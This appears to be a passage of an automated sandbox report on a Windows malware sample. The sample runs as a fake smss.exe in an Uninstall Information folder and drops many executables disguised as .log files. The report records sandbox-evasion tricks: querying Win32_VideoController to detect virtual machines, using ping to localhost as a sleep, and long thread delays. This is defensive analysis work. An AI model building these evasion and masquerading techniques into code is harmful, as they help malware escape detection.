                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess information set: NOOPENFILEERRORBOX

                            Malware Analysis System Evasion

                            barindex
                            Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                            Uses ping.exe to sleep
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhostJump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhostJump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhostJump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeMemory allocated: FA0000 memory reserve | memory write watchJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeMemory allocated: 1AE20000 memory reserve | memory write watchJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 1190000 memory reserve | memory write watchJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 1ACA0000 memory reserve | memory write watchJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 2AA0000 memory reserve | memory write watchJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 1AAA0000 memory reserve | memory write watchJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: F90000 memory reserve | memory write watch
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 1ABA0000 memory reserve | memory write watch
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 15E0000 memory reserve | memory write watch
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 1B1A0000 memory reserve | memory write watch
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 2C10000 memory reserve | memory write watch
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 1AC10000 memory reserve | memory write watch
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 19D0000 memory reserve | memory write watch
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 1B4A0000 memory reserve | memory write watch
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 11D0000 memory reserve | memory write watch
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 1ACA0000 memory reserve | memory write watch
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 31A0000 memory reserve | memory write watch
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 1B1A0000 memory reserve | memory write watch
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 1B50000 memory reserve | memory write watch
                            Source: C:\Program Files\Uninstall Information\smss.exeMemory allocated: 1B6A0000 memory reserve | memory write watch
                            Source: C:\Program Files\Uninstall Information\smss.exeCode function: 32_2_00007FFD9B9343ED sldt word ptr [eax]32_2_00007FFD9B9343ED
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeThread delayed: delay time: 922337203685477Jump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeThread delayed: delay time: 922337203685477Jump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeThread delayed: delay time: 922337203685477Jump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeThread delayed: delay time: 922337203685477
                            Source: C:\Program Files\Uninstall Information\smss.exeThread delayed: delay time: 922337203685477
                            Source: C:\Program Files\Uninstall Information\smss.exeThread delayed: delay time: 922337203685477
                            Source: C:\Program Files\Uninstall Information\smss.exeThread delayed: delay time: 922337203685477
                            Source: C:\Program Files\Uninstall Information\smss.exeThread delayed: delay time: 922337203685477
                            Source: C:\Program Files\Uninstall Information\smss.exeThread delayed: delay time: 922337203685477
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\PdOklALl.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\FbzvpqBU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\HcPBaEHS.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\CvhdKpmN.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\sldNxkwh.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\LCQsRpHx.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\MeAtuRrv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\DcFucYbv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\SXdSXxwk.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\vxjLKDgG.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\OkIkBytc.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\KDfbGRAO.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\AkBKmAvu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\nOBNlzhI.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\cmVzZJrz.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\pACFciry.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\tjfGpRQj.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\giLnrsnt.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\SQtrKQCA.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\kzlFjIGv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\zFqnDsmU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\RPxbDTqT.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\oRCevKfU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\jzQayrzU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\FTPcKHbO.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\kucPsHQR.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\CXuUcpmv.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\xYvLahMV.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\JUiTFEgk.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\kaLnoNfb.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\cJhXlcmL.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\TUFasxLe.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\gcLqgFrs.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\DSzWZtVQ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\dnRPfGDg.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\sliWjwCr.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\AGgFSeej.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\FerdyHgq.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\gGHpEGho.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\EEctoaMI.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\rWqdbEib.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\ayRrnvvB.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\DQYlDNRK.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\EbrBtxwn.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\WtsawdmK.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\xLDDFxvn.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\tKswHRQQ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\bVcPzPqN.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\PNLtijlY.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\ishosKSu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\YweISMqG.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\lbIDvKrH.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\iCJxNIrA.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\EvAkSdoC.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\msFxGQxC.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\mtbZqlwz.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\fhUgXGhV.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\CUBmTYHY.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\GoLtprLU.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\MLYKMAhd.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\uOEfpyZu.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\jdkfTNQg.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\LuLvCpZR.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\qVyWGScD.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\mpMPxzTg.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\bwRAVtPf.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\jvBQFFVB.logJump to dropped file
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeDropped PE file which has not been started: C:\Users\user\Desktop\BFJtLgnJ.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\ZQwKOPum.logJump to dropped file
                            Source: C:\Program Files\Uninstall Information\smss.exeDropped PE file which has not been started: C:\Users\user\Desktop\GdejPgAj.logJump to dropped file
